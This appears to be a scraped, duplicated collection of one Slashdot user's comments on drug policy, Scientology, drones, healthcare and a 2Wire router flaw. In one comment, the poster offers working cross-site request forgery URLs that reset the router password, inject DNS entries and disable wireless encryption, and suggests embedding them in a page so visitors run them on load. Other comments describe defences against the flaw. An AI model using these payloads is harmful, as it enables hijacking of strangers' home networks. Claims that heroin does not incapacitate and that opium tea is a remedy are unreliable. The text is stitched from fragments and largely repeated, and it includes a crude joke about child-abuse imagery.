"to a hospital bed in the ER, calling myself walt whitman, saying i live in a circus. i know what i am talking about......i bet you can guzzle polonium 210 and snort ricin."
HAHA i see what you did there. Unfortunately i speak from experience, you seem to speak from arrogance. i guess neither of us can disprove the other.
"but your portrayal, or your experience, is far from that of the typical human body and mind, regardless of any fearmongering in the media"
It's funny you say that because i'm married and we share the same interests, i have many friends who do also.. so not only do I speak from personal experience but also speak knowing people who have shared my experiences.
"you seem to wish to portray using something like lsd and heroin as nothing more than downing a shot of whiskey. "
No i think whiskey is far more dangerous, care to compare the deaths from LSD to whiskey? Or even heroin to whiskey?
"but nicotine doesn't put you in a glassy eyed drooling state that makes you unable to have a job or a relationship"
Neither does heroin, have you ever done heroin?
You are confusing what is portrayed in the media (movies, tv, etc) for real life experience.
any drug can be abused to the point where the user does nothing else but the drug, but there are MANY people who use recreationally and still hold down full time jobs, pay their bills, raise kids, etc...
"lsd is more incapacitating than heroin."
Really? have you ever done good clean LSD? i have, and it's way less incapacitating that 5 shots of alcohol.
"but only a complete fool thinks heroin, cocaine, or meth should be legal. they must have zero experience with these drugs and what they do to human lives, and what they do to society,"
I have experience with these drugs and am not a complete fool, thank you. I also believe all drugs should be decriminalized.
Let me explain why.
Drug addiction sucks, and does hurt those around the one addicted BUT why do we want to throw into that mix, the possibility of jail time and profitability of illegal drug trade to those who would do a lot worse with the profits?
I say make all drugs legal, tax them and use a portion of the taxes to support a system of treatment for those who seek it.
rarely is drug abuse/addiction the fault of the drug itself (if ever), it is just a sign of some problem the person is dealing with via drugs. Each person needs to come to terms with this in their own way and in some cases that means losing everything, hitting rock bottom, and climbing out again for others therapy or counseling if they can receive it.
Making drugs illegal doesn't stop it's use, or even deter it... i think the only reason most people agree with it is because they buy into the bullshit that people who use drugs are somehow "bad people" and therefore should be punished... well i'm here to tell you that being addicted to ANY drug is definitely punishment enough.
"I'm not living in America, but I had to ask: if that's what's happening then why is nobody trying to change it?"
People ARE trying to change it, the problem is with a general populace that is fat, happy and placated with endless hours of entertainment and blasted with pro-law propaganda continuously (that ironically they pay for) and a government run by special interests (tobacco lobby, alcohol lobby, energy lobby, textile lobby (cotton), prison lobby, etc).
there have been more than a few states that have decriminalized marijuana but federal laws still mandate incarceration, often with mandatory minimum sentencing. Changing laws on a federal level is almost impossible due to the heavy lobbying efforts of those mentioned previously.
It's getting to the point where the legal system is collapsing on itself with 1/10+ of the population incarcerated and drug use still as rampant as ever.
from readint eh exploit you would have to visit a malicious website that sends an link that your browsers processes, the link is actually the default address of the 2wire device (198.162.1.254, OR default domain of "home" or "gateway.2wire.net") in this "url" is the command to reset the password or any other configuration change.
So what would happen in worse case to a default router is it could have it's configuration changed.. whether it matters to you is dependant on how much access you give that router to the rest of your network (as these are typically routers+modem). in your case i would make sure the firewall/router has a different internal ip addressing scheme than the 2wire device, that should provide a buffer?
I personally have this exact same setup at home, i use the 2wire as just a wireless router for my Wii and then it connects to my normal router for my network which has the wan uplink to the DSL modem. Since the wireless router only gets internet access and it not allowed to see anything else on the network it shouldn't matter?
You can implement a temporary fix yourself. The first post in the following thread describes how to protect yourself until 2wire fixes the issue 2Wire Cross Site Request Forgery Vulnerability .
Here is a short summary:
First, change the IP scheme that the 2wire is using for your home network. Specifically, change the IP address of the 2wire router itself. This will prevent attacks against 192.168.1.254.
Next you have to prevent attacks against the domains "home" and "gateway.2wire.net". You can do this a couple of ways. You can modify your hosts file and point those domains to 127.0.0.1... or you can hardcode the dns settings into your computer so that your computer is not using the 2wire to resolve domain names.
Of course the bottom line is 2wire needs to plug this hole. When will that happen? Who knows.
"Doesn't the very idea that souls came from aliens that were dumped into a volcano and sent to the neo-people of about 10,000 bc which created all of humanity. Whats not to love?"
I heard the one of the PR spokesmen for Scientology on a popular radio talk show where i live (KGO 810 AM) and he explicitly said that this was not true, that they don't teach this and he doesn't know where it comes from.
Which i don't believe but he has plausible deniability because they won't admit this stuff unless you are "ready" to learn it (OT whatever high level) right?
No, that means society has to provide it. Unless you think that you've gained no benefit from society (are you good at chasing wildebeests on the plains of the Serengeti?) then I honestly can't understand the aversion to giving something back."
this is one of the most poignant observations i have seen yet on the healthcare debate.. well said!!!
(except for the wildebeests, everyone knows antelope meat has less fat/cholesterol).
"most of my friends have a WIDE range of opinions on a WIDE range of topics and we constantly send eachother point/counterpoint stories,not just stories that will provide mental masturbation as we all nod and agree."
I totally agree with parent, please mod up!! *masturbates*
I understand your fears but i am here to help you understand that people are already doing drugs, a lot of them, all the time, you probably know several people who use but would never tell you because of fear of being ostracized.
Thinking that people will do MORE drugs if they become legal is an oft thought fallacy that is misused by propaganda. Drugs are already widely available all around us and cheaper and purer than they were in the 70s (legal AND illegal mind you), drug use will not go up, if anything it would go down due to removing the stigma of being a "bad boy/girl".
furthermore, the problems associated with drug use are mainly because of it's legal status, i know many people who use drugs regularly who hold down well paying jobs with a high level of responsibility.
and not just pot.. opium, ectasy, lsd, etc.. but if they got caught with these they would be thrown in jail, lose their jobs and then become a drain on society.
because they already have them on the mexican border?
FT submitted article... sigh
" 'U.S. Customs and Border Protection has(sic) been flying drones over the Arizona desert and southwest border with Mexico since 2006 and will soon deploy one in North Dakota to patrol the Canadian border as well. "
"the risk is much less than that of a Predator drone crashing and burning on the streets of Miami."
but if it crashes into one of the many gas stations littering the street of miami?
Or how about a schoolyard? Or a propane station? Or, or, or?
18 pounds might not seem like a lot but at 128mph (top free fall descent speed?) it's sure to cause more damage crashing in a diagonal path rather than straight down?
I would think in the absence of signal it would be designed to keep current altitude and then circle in widening patterns until it got a new signal, i mean they obviously have to plan for sporadic interference anyway, this would seem the most logical design?
"I really don't see my average pothead freind going to a doctor, then a pharmacy just to get a bag of weed he could probably still got on the street cheaper."
The reality is that all "natural" (i.e. pot, opium, cocaine, herion, etc) can be grown and made by individuals for virtually the cost of dirt and water.
In fact opium poppies are used as natural remedies to ailments in poor countries, you can grind up the poppy and make a tea that relieves constipation, sorrow, sickness symptoms (e.g. flu) and such.
As well as gangs and their warfare. Why doesn't anyone else see this when reports of gang violence on the rise is shown nightly on the news?
Oh yah because our own government has a media campaign aimed at convincing us that drug use makes you a bad person (unless it's pharmaceutical, then it's fine, esp for wieners).
"Your computer/router/child has no authority, on its own, to issue or deny an invitation for entry or use of your systems, space, etc, etc"
Yes it does, by default your router is inviting any nearby wireless device access.
Unless you are also arguing that by securing your router you have not given it authority to deny access? I think we can both agree that is ridiculous,
By default you are granting your wireless router authority to grant access, you plugged it in to power and your network/internet connection (and should have known or) knowing that it would (by default) advertise free access.
"The congressional policy and agency practice of relying on the marketplace instead of regulation to maximize consumer welfare has been proven by experience (including the Comcast customer experience) to be enormously successful for the corporations (including Comcast), but for the consumer, not so much."
There, fixed that for you, i appreciate the generous act of telling it like it is but you forgot that last part.:)
and in war the intent is to disable the other side moreso than killing them outright, as it takes up more resources and makes the other side more willing to give up if their soldiers are wounded rather than dead (morale and so).
so blinding the regiment (or whatever) WOULD be more effective by using lasers than conventional bullets.
"Would it be more humane for you to shoot a sick god "
freudian slip? i think you meant dog, but in this example if your intent is to kill the animal, you would just kill the animal, if you intended to get your jolly through torture then you'd torture.
War's purpose is to force someone to agree to your terms, via force.. why does it matter how this is done?
"Unless you can get the content provider to agree to your terms, you'll either have to do without the content or start an escalating game of technological cat-and-mouse."
but this is the internet, WE decide what content is worth "consuming", a content provider denying access to their "content" would be shooting themselves in the foot?
Slashdot Mirror
"to a hospital bed in the ER, calling myself walt whitman, saying i live in a circus. i know what i am talking about......i bet you can guzzle polonium 210 and snort ricin."
HAHA i see what you did there. Unfortunately i speak from experience, you seem to speak from arrogance. i guess neither of us can disprove the other.
"but your portrayal, or your experience, is far from that of the typical human body and mind, regardless of any fearmongering in the media"
It's funny you say that because i'm married and we share the same interests, i have many friends who do also.. so not only do I speak from personal experience but also speak knowing people who have shared my experiences.
"you seem to wish to portray using something like lsd and heroin as nothing more than downing a shot of whiskey. "
No i think whiskey is far more dangerous, care to compare the deaths from LSD to whiskey? Or even heroin to whiskey?
"but nicotine doesn't put you in a glassy eyed drooling state that makes you unable to have a job or a relationship"
Neither does heroin, have you ever done heroin?
You are confusing what is portrayed in the media (movies, tv, etc) for real life experience.
any drug can be abused to the point where the user does nothing else but the drug, but there are MANY people who use recreationally and still hold down full time jobs, pay their bills, raise kids, etc...
"lsd is more incapacitating than heroin."
Really? have you ever done good clean LSD? i have, and it's way less incapacitating that 5 shots of alcohol.
"but only a complete fool thinks heroin, cocaine, or meth should be legal. they must have zero experience with these drugs and what they do to human lives, and what they do to society,"
I have experience with these drugs and am not a complete fool, thank you. I also believe all drugs should be decriminalized.
Let me explain why.
Drug addiction sucks, and does hurt those around the one addicted BUT why do we want to throw into that mix, the possibility of jail time and profitability of illegal drug trade to those who would do a lot worse with the profits?
I say make all drugs legal, tax them and use a portion of the taxes to support a system of treatment for those who seek it.
rarely is drug abuse/addiction the fault of the drug itself (if ever), it is just a sign of some problem the person is dealing with via drugs. Each person needs to come to terms with this in their own way and in some cases that means losing everything, hitting rock bottom, and climbing out again for others therapy or counseling if they can receive it.
Making drugs illegal doesn't stop it's use, or even deter it... i think the only reason most people agree with it is because they buy into the bullshit that people who use drugs are somehow "bad people" and therefore should be punished... well i'm here to tell you that being addicted to ANY drug is definitely punishment enough.
"I'm not living in America, but I had to ask: if that's what's happening then why is nobody trying to change it?"
People ARE trying to change it, the problem is with a general populace that is fat, happy and placated with endless hours of entertainment and blasted with pro-law propaganda continuously (that ironically they pay for) and a government run by special interests (tobacco lobby, alcohol lobby, energy lobby, textile lobby (cotton), prison lobby, etc).
there have been more than a few states that have decriminalized marijuana but federal laws still mandate incarceration, often with mandatory minimum sentencing. Changing laws on a federal level is almost impossible due to the heavy lobbying efforts of those mentioned previously.
It's getting to the point where the legal system is collapsing on itself with 1/10+ of the population incarcerated and drug use still as rampant as ever.
you don't need a script, just add this link to your webpage and force people to execute it on load:
http://192.168.1.254/xslt?PAGE=A05_POST&THISPAGE=A05&NEXTPAGE=A05_POST&ENABLE_PASS=on&PASSWORD=NUEVOPASS&PASSWORD_CONF=NUEVOPASS
you can change the commands to do a number of different actions (pretty much any configuration change on any page in the router)
eg:
Add names to the DNS:
http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.example.com&ADDR=127.0.0.1
Disable Wireless Authentication
http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0
Set Dynamic DNS
http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE
you can also change the 192.168.1.254 to say "home" or "gateway.2wire.net"
eg:
Set Dynamic DNS
http://gateway.2wire.net/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE
from readint eh exploit you would have to visit a malicious website that sends an link that your browsers processes, the link is actually the default address of the 2wire device (198.162.1.254, OR default domain of "home" or "gateway.2wire.net") in this "url" is the command to reset the password or any other configuration change.
So what would happen in worse case to a default router is it could have it's configuration changed.. whether it matters to you is dependant on how much access you give that router to the rest of your network (as these are typically routers+modem). in your case i would make sure the firewall/router has a different internal ip addressing scheme than the 2wire device, that should provide a buffer?
I personally have this exact same setup at home, i use the 2wire as just a wireless router for my Wii and then it connects to my normal router for my network which has the wan uplink to the DSL modem. Since the wireless router only gets internet access and it not allowed to see anything else on the network it shouldn't matter?
You can implement a temporary fix yourself. The first post in the following thread describes how to protect yourself until 2wire fixes the issue 2Wire Cross Site Request Forgery Vulnerability .
Here is a short summary:
First, change the IP scheme that the 2wire is using for your home network. Specifically, change the IP address of the 2wire router itself. This will prevent attacks against 192.168.1.254.
Next you have to prevent attacks against the domains "home" and "gateway.2wire.net". You can do this a couple of ways. You can modify your hosts file and point those domains to 127.0.0.1... or you can hardcode the dns settings into your computer so that your computer is not using the 2wire to resolve domain names.
Of course the bottom line is 2wire needs to plug this hole. When will that happen? Who knows.
"Doesn't the very idea that souls came from aliens that were dumped into a volcano and sent to the neo-people of about 10,000 bc which created all of humanity. Whats not to love?"
I heard the one of the PR spokesmen for Scientology on a popular radio talk show where i live (KGO 810 AM) and he explicitly said that this was not true, that they don't teach this and he doesn't know where it comes from.
Which i don't believe but he has plausible deniability because they won't admit this stuff unless you are "ready" to learn it (OT whatever high level) right?
"deduce that there's no 100% way of "How to detect it"."
then how do they know the size of the botnet and how the infection routine works?
"that means I have to provide it
No, that means society has to provide it. Unless you think that you've gained no benefit from society (are you good at chasing wildebeests on the plains of the Serengeti?) then I honestly can't understand the aversion to giving something back."
this is one of the most poignant observations i have seen yet on the healthcare debate.. well said!!!
(except for the wildebeests, everyone knows antelope meat has less fat/cholesterol).
"most of my friends have a WIDE range of opinions on a WIDE range of topics and we constantly send eachother point/counterpoint stories,not just stories that will provide mental masturbation as we all nod and agree."
I totally agree with parent, please mod up!! *masturbates*
"It would take precisely *no additional space* to have instead used one screen that was say 3x6 inches."
except for that nasty crack in the screen when you try to fold it over =/
I understand your fears but i am here to help you understand that people are already doing drugs, a lot of them, all the time, you probably know several people who use but would never tell you because of fear of being ostracized.
Thinking that people will do MORE drugs if they become legal is an oft thought fallacy that is misused by propaganda. Drugs are already widely available all around us and cheaper and purer than they were in the 70s (legal AND illegal mind you), drug use will not go up, if anything it would go down due to removing the stigma of being a "bad boy/girl".
furthermore, the problems associated with drug use are mainly because of it's legal status, i know many people who use drugs regularly who hold down well paying jobs with a high level of responsibility.
and not just pot.. opium, ectasy, lsd, etc.. but if they got caught with these they would be thrown in jail, lose their jobs and then become a drain on society.
because they already have them on the mexican border?
FT submitted article... sigh
" 'U.S. Customs and Border Protection has(sic) been flying drones over the Arizona desert and southwest border with Mexico since 2006 and will soon deploy one in North Dakota to patrol the Canadian border as well. "
"the risk is much less than that of a Predator drone crashing and burning on the streets of Miami."
but if it crashes into one of the many gas stations littering the street of miami?
Or how about a schoolyard? Or a propane station? Or, or, or?
18 pounds might not seem like a lot but at 128mph (top free fall descent speed?) it's sure to cause more damage crashing in a diagonal path rather than straight down?
I would think in the absence of signal it would be designed to keep current altitude and then circle in widening patterns until it got a new signal, i mean they obviously have to plan for sporadic interference anyway, this would seem the most logical design?
"I really don't see my average pothead freind going to a doctor, then a pharmacy just to get a bag of weed he could probably still got on the street cheaper."
The reality is that all "natural" (i.e. pot, opium, cocaine, herion, etc) can be grown and made by individuals for virtually the cost of dirt and water.
In fact opium poppies are used as natural remedies to ailments in poor countries, you can grind up the poppy and make a tea that relieves constipation, sorrow, sickness symptoms (e.g. flu) and such.
"The drug runners business would dry up."
As well as gangs and their warfare. Why doesn't anyone else see this when reports of gang violence on the rise is shown nightly on the news?
Oh yah because our own government has a media campaign aimed at convincing us that drug use makes you a bad person (unless it's pharmaceutical, then it's fine, esp for wieners).
"Your computer/router/child has no authority, on its own, to issue or deny an invitation for entry or use of your systems, space, etc, etc"
Yes it does, by default your router is inviting any nearby wireless device access.
Unless you are also arguing that by securing your router you have not given it authority to deny access? I think we can both agree that is ridiculous,
By default you are granting your wireless router authority to grant access, you plugged it in to power and your network/internet connection (and should have known or) knowing that it would (by default) advertise free access.
"Only, in this case, the prankster could end up getting people raided by the FBI, instead of staring at some guy's gaping ass."
;)
Actually in both cases the end result is someone looking at someone else' gaping ass, remember CP sends you to PMITA prison
you only had to tell me there was a new futurama movie coming out, i didn't need any details (spoliers)
"The congressional policy and agency practice of relying on the marketplace instead of regulation to maximize consumer welfare has been proven by experience (including the Comcast customer experience) to be enormously successful for the corporations (including Comcast), but for the consumer, not so much."
:)
There, fixed that for you, i appreciate the generous act of telling it like it is but you forgot that last part.
"The sense is the intent. "
and in war the intent is to disable the other side moreso than killing them outright, as it takes up more resources and makes the other side more willing to give up if their soldiers are wounded rather than dead (morale and so).
so blinding the regiment (or whatever) WOULD be more effective by using lasers than conventional bullets.
"Would it be more humane for you to shoot a sick god "
freudian slip? i think you meant dog, but in this example if your intent is to kill the animal, you would just kill the animal, if you intended to get your jolly through torture then you'd torture.
War's purpose is to force someone to agree to your terms, via force.. why does it matter how this is done?
Can you make war suck more?
"Unless you can get the content provider to agree to your terms, you'll either have to do without the content or start an escalating game of technological cat-and-mouse."
but this is the internet, WE decide what content is worth "consuming", a content provider denying access to their "content" would be shooting themselves in the foot?
"Potato bread. Unless this rust thing hits potato crops too."
:)
Good thing potatoes aren't susceptible to fungi